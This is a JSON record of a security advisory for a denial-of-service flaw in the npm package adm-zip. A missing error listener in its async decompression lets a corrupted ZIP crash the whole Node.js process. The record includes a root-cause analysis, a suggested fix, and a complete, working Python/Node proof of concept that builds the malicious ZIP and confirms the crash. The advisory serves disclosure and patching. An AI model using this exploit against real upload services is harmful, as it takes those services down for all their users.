{"id":"GHSA-8238-w5pm-2374","title":"adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)","summary":"adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)","severity":"high","cvss":7.5,"cwe":["CWE-248","CWE-400"],"vendor":"adm-zip","product":"adm-zip","ecosystem":"npm","affected":["adm-zip <= 0.6.0"],"patched":["adm-zip 0.6.1"],"published":"2026-09-29","updated":"2026-09-29","sourceUpdated":"2026-09-29T23:10:11Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-8238-w5pm-2374","references":[{"url":"https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374"},{"url":"https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49"},{"url":"https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"},{"url":"https://github.com/advisories/GHSA-8238-w5pm-2374"}],"tags":["ghsa","npm"],"ingestedAt":"2026-09-29T23:52:50.542Z","slug":"GHSA-8238-w5pm-2374","body":"## Overview\n\n## Summary\n\nDenial of Service in `adm-zip`'s async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file.\n\n## Details\n\n**Affected package**: adm-zip\n**Affected versions**: at least 0.6.0 (current latest); likely all versions containing the current `inflateAsync` implementation in `methods/inflater.js`\n**Patched version**: 0.6.1\n\n### Root Cause\n\n`methods/inflater.js:12-32` (`inflateAsync`) creates a `zlib.createInflateRaw(option)` stream and feeds it attacker-controlled compressed bytes via `tmp.end(inbuf)`, but never registers an `\"error\"` listener on the stream:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n    var tmp = zlib.createInflateRaw(option),\n        parts = [],\n        total = 0;\n    tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n    tmp.on(\"end\", function () { /* build buf, callback(buf) */ });\n    tmp.end(inbuf);   // no tmp.on(\"error\", ...) registered anywhere\n}\n```\n\nPer Node.js `EventEmitter`/stream semantics, an `\"error\"` event emitted with zero listeners is rethrown as an **uncaught exception on a later tick**, originating from the zlib C++ binding. This cannot be caught by a `try/catch` wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the `try/catch` covers.\n\nThis code path is reached from every public async API that decompresses entry data: `readFileAsync`, `readAsTextAsync`, `extractAllToAsync`, and `ZipEntry.getDataAsync` (`zipEntry.js:51`, `:97-120`, `:309-315`; `adm-zip.js:157-164`, `:192-210`, `:893`).\n\nThis library recently patched **CVE-2026-39244** (GHSA-xcpc-8h2w-3j85), an unbounded `Buffer.alloc()` on the *synchronous* decompression path. That fix added a `maxOutputLength` option to `zlib.inflateRawSync`/`zlib.createInflateRaw`, and the sync path's resulting throw is naturally catchable. The async path shares the same `maxOutputLength` option (`methods/inflater.js:5`) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers:\n\n1. A DEFLATE entry with corrupted/malformed compressed bytes (`Z_DATA_ERROR`) — no special crafting needed.\n2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the `maxOutputLength` guard — but on the stream this surfaces via the unhandled `\"error\"` event rather than a catchable throw.\n\n### Attack Vector\n\n1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed.\n2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.:\n   ```js\n   const zip = new AdmZip(uploadedBuffer);\n   zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ });\n   ```\n3. `inflateAsync` begins decompressing; zlib emits `\"error\"` on `Z_DATA_ERROR`.\n4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request.\n\n## Impact\n\nAny Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error.\n\n## Proof of Concept\n\nAttached: `poc_async_dos.py`. Summary of what it does:\n\n1. Builds a fully valid ZIP using adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`), guaranteeing correct headers/CRC/offsets.\n2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with `0xFF`, corrupting only the DEFLATE payload.\n3. Parses the corrupted archive with a fresh `new AdmZip(badBuf)` (succeeds — headers are intact) and calls `entries[0].getDataAsync(callback)`, wrapped in `try/catch`, in an isolated child process.\n4. Captures the child's exit code and stderr.\n\nVerified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node `zlib.createInflateRaw()` fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output:\n\n```\n[*] Child process exit code: 1\n----- Node child process stderr (crash evidence) -----\nnode:events:497\n      throw er; // Unhandled 'error' event\n      ^\nError: invalid distance too far back\n    at genericNodeError (node:internal/errors:983:15)\n    at Zlib.zlibOnError [as onerror] (node:zlib:191:17)\nEmitted 'error' event on InflateRaw instance at:\n    at emitErrorNT (node:internal/streams/destroy:170:8)\n    at emitErrorCloseNT (node:internal/streams/destroy:129:3)\n    at process.processTicksAndRejections (node:internal/process/task_queues:89:21) {\n  errno: -3,\n  code: 'Z_DATA_ERROR'\n}\nNode.js v22.22.1\n--------------------------------------\n[*] Caught by harness's own try/catch (would mean NOT vulnerable): False\n[*] getDataAsync callback ever fired (would mean NOT vulnerable): False\n[*] Child process exited non-zero (crashed): True\n[+] VULNERABILITY CONFIRMED\n```\n\nReproduction: `python3 poc_async_dos.py` (requires python3 and Node.js; tested on Node.js v22.22.1).\n\n## Suggested Fix\n\nRegister an `\"error\"` listener on the `InflateRaw` stream in `methods/inflater.js`'s `inflateAsync`, and route it to the existing `callback`, e.g.:\n\n```js\ninflateAsync: function (/*Function*/ callback) {\n    var tmp = zlib.createInflateRaw(option),\n        parts = [],\n        total = 0;\n    tmp.on(\"data\", function (data) { parts.push(data); total += data.length; });\n    tmp.on(\"error\", function (err) {\n        // surface as a normal async error instead of crashing the process\n        callback(Buffer.alloc(0), err);   // or however this codebase's async\n                                            // error convention is expressed\n    });\n    tmp.on(\"end\", function () { /* existing behavior */ });\n    tmp.end(inbuf);\n}\n```\n\nThe exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an `err`-first convention, at the maintainer's discretion). The key fix is simply: **never leave a Node.js stream without an `\"error\"` listener when it can plausibly error on attacker-controlled input.**\n\n## Full PoC Source (`poc_async_dos.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTested version: adm-zip 0.6.0\nTested on: Linux, Node.js v22.22.1\n\nDescription:\n  methods/inflater.js:12-32 (inflateAsync) creates a\n  zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever\n  registering an \"error\" listener on the stream. Per Node.js EventEmitter\n  semantics, an \"error\" event emitted with zero listeners is rethrown as an\n  uncaught exception -- this happens on a later tick from the zlib C++\n  binding, so it CANNOT be caught by a try/catch wrapped around the calling\n  code. Any code that feeds an untrusted zip file into one of adm-zip's\n  public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,\n  ZipEntry.getDataAsync) crashes the entire host Node.js process the moment\n  it encounters a DEFLATE entry with corrupted/malformed compressed bytes.\n  The synchronous decompression path (getData()) was hardened for\n  CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);\n  this async streaming path was missed by that fix and remains an\n  unauthenticated, single-request availability bug.\n\nImpact:\n  Any service that accepts untrusted zip uploads and reads/extracts them\n  via adm-zip's async API (the officially documented, recommended usage\n  for non-blocking servers) can be crashed by a single malicious zip file,\n  with no authentication and no special privileges required.\n\nReproduction:\n  1. Install: this PoC runs directly against the adm-zip source tree this\n     script lives alongside (no `npm install` needed -- it requires the\n     local checkout via its package.json \"main\" entry, adm-zip.js).\n     Requires: python3, node (tested with Node.js v22.22.1).\n  2. Run: python3 poc_async_dos.py\n  3. Observe: the spawned Node child process exits non-zero with an\n     \"Unhandled 'error' event\" / Z_DATA_ERROR stack trace on stderr,\n     originating from methods/inflater.js's zlib.createInflateRaw stream.\n     Neither the harness's try/catch nor the getDataAsync callback ever\n     fires -- proving the crash is unrecoverable from calling code.\n\nHow the malicious zip is built (see the embedded Node harness in\nbuild_harness_script() below):\n  1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)\n     to produce a fully valid, well-formed zip archive with one DEFLATE\n     entry. This guarantees every header/CRC/offset field is structurally\n     correct.\n  2. Locate the local file header at offset 0 and compute the compressed\n     data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.\n  3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE\n     payload while leaving every size/offset/CRC field in the local header,\n     central directory, and EOCD record byte-for-byte unchanged, so\n     adm-zip's own parser still locates and slices exactly the right\n     region and reaches the vulnerable inflateAsync() call.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\n# ============================================================\n# Configuration\n# ============================================================\nPACKAGE_NAME = \"adm-zip\"\nTARGET_VERSION = \"0.6.0\"\n# The adm-zip source tree this PoC lives alongside (Hunter's checkout).\nREPO_DIR = os.path.dirname(os.path.abspath(__file__))\nNODE_BIN = \"node\"\nSUBPROCESS_TIMEOUT_SECONDS = 20\n\n\n# ============================================================\n# Node.js harness (the genuine trigger -- adm-zip is a JS library, so the\n# actual exploit code must run under Node; this Python script builds it,\n# runs it in an isolated child process, and interprets the result).\n# ============================================================\ndef build_harness_script(repo_dir: str) -> str:\n    return r\"\"\"\n\"use strict\";\nconst AdmZip = require(%(repo_dir)r);\n\nconsole.log(\"HARNESS_START\");\n\n// Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with\n// one DEFLATE-compressed entry. Repetitive text compresses well and\n// guarantees the DEFLATED method is chosen (not STORED).\nconst zip = new AdmZip();\nconst payload = Buffer.from(\n    \"The quick brown fox jumps over the lazy dog. \".repeat(200),\n    \"utf8\"\n);\nzip.addFile(\"payload.txt\", payload, \"\");\nconst goodBuf = zip.toBuffer();\nconsole.log(\"BUILT_GOOD_ZIP bytes=\" + goodBuf.length);\n\n// Step 2: locate the local file header (offset 0 in this single-entry\n// archive) and corrupt ONLY the compressed-data bytes in place, leaving\n// every size/offset/CRC field in the local header, central directory, and\n// EOCD record untouched -- so adm-zip's own parser still finds and slices\n// exactly the right region and reaches the vulnerable inflateAsync() path.\nconst LOCSIG = 0x04034b50;\nif (goodBuf.readUInt32LE(0) !== LOCSIG) {\n    throw new Error(\"unexpected local header signature -- adm-zip writer output changed\");\n}\nconst compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ\nconst fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM\nconst extraLen = goodBuf.readUInt16LE(28); // LOCEXT\nconst dataStart = 30 + fileNameLen + extraLen;\nconst dataEnd = dataStart + compressedSize;\nconsole.log(\n    \"LOCAL_HEADER compressedSize=\" + compressedSize +\n    \" dataStart=\" + dataStart + \" dataEnd=\" + dataEnd\n);\n\nconst badBuf = Buffer.from(goodBuf); // copy, do not mutate original\nfor (let i = dataStart; i < dataEnd; i++) {\n    badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream\n}\nconsole.log(\"CORRUPTED_COMPRESSED_BYTES count=\" + (dataEnd - dataStart));\n\n// Step 3: parse the corrupted archive (this succeeds -- headers are intact)\n// and hit the vulnerable async decompression path.\nconst zip2 = new AdmZip(badBuf);\nconst entries = zip2.getEntries();\nconsole.log(\n    \"PARSED_CORRUPT_ZIP entries=\" + entries.length +\n    \" name=\" + entries[0].entryName\n);\n\ntry {\n    // This is the public, documented API a real server would call on an\n    // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync\n    // all funnel into the same decompress(true, ...) -> inflateAsync path).\n    entries[0].getDataAsync(function (data, err) {\n        // If this ever fires, the library handled the error gracefully\n        // (no crash) -- meaning the vulnerability is NOT present / already\n        // fixed in this build.\n        console.log(\n            \"CALLBACK_FIRED data_len=\" + (data ? data.length : 0) +\n            \" err=\" + err\n        );\n    });\n    console.log(\"SYNC_CALL_RETURNED_NO_THROW\");\n} catch (e) {\n    // If this ever fires, the bug is NOT present -- the error would be\n    // synchronously catchable by ordinary calling code.\n    console.log(\"CAUGHT_BY_TRY_CATCH: \" + e.message);\n}\n\nconsole.log(\"HARNESS_END_OF_SYNCHRONOUS_CODE\");\n// Deliberately NOT registering process.on(\"uncaughtException\", ...) here --\n// doing so would mask the exact bug under test. A real, unmodified server\n// process has no reason to install a blanket uncaughtException handler\n// either; that is precisely what makes this an unrecoverable process crash.\n\"\"\" % {\"repo_dir\": repo_dir}\n\n\n# ============================================================\n# Step 1: Setup\n# ============================================================\ndef setup():\n    \"\"\"Verify prerequisites and write out the Node.js harness script.\"\"\"\n    print(f\"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}\")\n    print(f\"[*] Target adm-zip source tree: {REPO_DIR}\")\n\n    main_entry = os.path.join(REPO_DIR, \"adm-zip.js\")\n    if not os.path.isfile(main_entry):\n        print(f\"[-] Cannot find adm-zip.js at {main_entry}\")\n        sys.exit(1)\n\n    try:\n        node_version = subprocess.run(\n            [NODE_BIN, \"--version\"], capture_output=True, text=True, timeout=10\n        )\n        print(f\"[*] Found Node.js: {node_version.stdout.strip()}\")\n    except FileNotFoundError:\n        print(\"[-] node binary not found on PATH -- required to run this PoC\")\n        sys.exit(1)\n\n    handle, harness_path = tempfile.mkstemp(prefix=\"admzip_async_dos_\", suffix=\".js\")\n    with os.fdopen(handle, \"w\") as f:\n        f.write(build_harness_script(REPO_DIR))\n    print(f\"[*] Wrote Node harness to {harness_path}\")\n    return harness_path\n\n\n# ============================================================\n# Step 2: Trigger the vulnerability\n# ============================================================\ndef trigger(harness_path):\n    \"\"\"Run the Node harness (in its own isolated child process) that builds\n    the malicious zip and feeds it into adm-zip's vulnerable async API.\"\"\"\n    print(\"[*] Triggering vulnerability (spawning isolated Node subprocess)...\")\n    try:\n        proc = subprocess.run(\n            [NODE_BIN, harness_path],\n            capture_output=True,\n            text=True,\n            timeout=SUBPROCESS_TIMEOUT_SECONDS,\n            cwd=REPO_DIR,\n        )\n        return {\n            \"timed_out\": False,\n            \"returncode\": proc.returncode,\n            \"stdout\": proc.stdout,\n            \"stderr\": proc.stderr,\n        }\n    except subprocess.TimeoutExpired as e:\n        return {\n            \"timed_out\": True,\n            \"returncode\": None,\n            \"stdout\": (e.stdout or b\"\").decode(errors=\"replace\") if isinstance(e.stdout, bytes) else (e.stdout or \"\"),\n            \"stderr\": (e.stderr or b\"\").decode(errors=\"replace\") if isinstance(e.stderr, bytes) else (e.stderr or \"\"),\n        }\n\n\n# ============================================================\n# Step 3: Verify impact\n# ============================================================\ndef verify(result):\n    \"\"\"Check that the child process crashed with an unhandled 'error' event\n    originating from the async inflater, and that neither the try/catch nor\n    the getDataAsync callback in the harness ever ran.\"\"\"\n    print(\"[*] Verifying impact...\")\n    print(f\"[*] Child process exit code: {result['returncode']}\")\n    print()\n    print(\"----- Node child process stdout -----\")\n    print(result[\"stdout\"].rstrip())\n    print(\"----- Node child process stderr (crash evidence) -----\")\n    print(result[\"stderr\"].rstrip())\n    print(\"--------------------------------------\")\n    print()\n\n    if result[\"timed_out\"]:\n        print(\"[-] Harness timed out instead of crashing -- inconclusive\")\n        return False\n\n    stdout = result[\"stdout\"]\n    stderr = result[\"stderr\"]\n    returncode = result[\"returncode\"]\n\n    reached_vuln_call = \"SYNC_CALL_RETURNED_NO_THROW\" in stdout\n    was_caught = \"CAUGHT_BY_TRY_CATCH\" in stdout\n    callback_fired = \"CALLBACK_FIRED\" in stdout\n    process_crashed = returncode is not None and returncode != 0\n    unhandled_error_evidence = (\n        \"Unhandled 'error' event\" in stderr\n        or \"ERR_UNHANDLED_ERROR\" in stderr\n        or \"Emitted 'error' event on InflateRaw instance\" in stderr\n    )\n\n    print(f\"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}\")\n    print(f\"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}\")\n    print(f\"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}\")\n    print(f\"[*] Child process exited non-zero (crashed): {process_crashed}\")\n    print(f\"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}\")\n\n    success = (\n        reached_vuln_call\n        and not was_caught\n        and not callback_fired\n        and process_crashed\n        and unhandled_error_evidence\n    )\n    return success\n\n\n# ============================================================\n# Main\n# ============================================================\nif __name__ == \"__main__\":\n    print(f\"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===\")\n    print(f\"[*] Target version: {TARGET_VERSION}\")\n    print()\n\n    harness_path = setup()\n    try:\n        result = trigger(harness_path)\n        success = verify(result)\n    finally:\n        try:\n            os.remove(harness_path)\n            print(f\"[*] Cleaned up temp harness file: {harness_path}\")\n        except OSError:\n            pass\n\n    print()\n    if success:\n        print(\"[+] VULNERABILITY CONFIRMED\")\n        print(\n            \"[+] Impact: a single untrusted zip file with a corrupted DEFLATE \"\n            \"entry crashes the entire Node.js process when read via any \"\n            \"adm-zip *Async API (readFileAsync / readAsTextAsync / \"\n            \"extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, \"\n            \"single-request, unrecoverable process-level Denial of Service.\"\n        )\n    else:\n        print(\"[-] Vulnerability NOT confirmed\")\n\n    sys.exit(0 if success else 1)\n```\n\n## Affected packages\n\n- `adm-zip <= 0.6.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `adm-zip 0.6.1`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}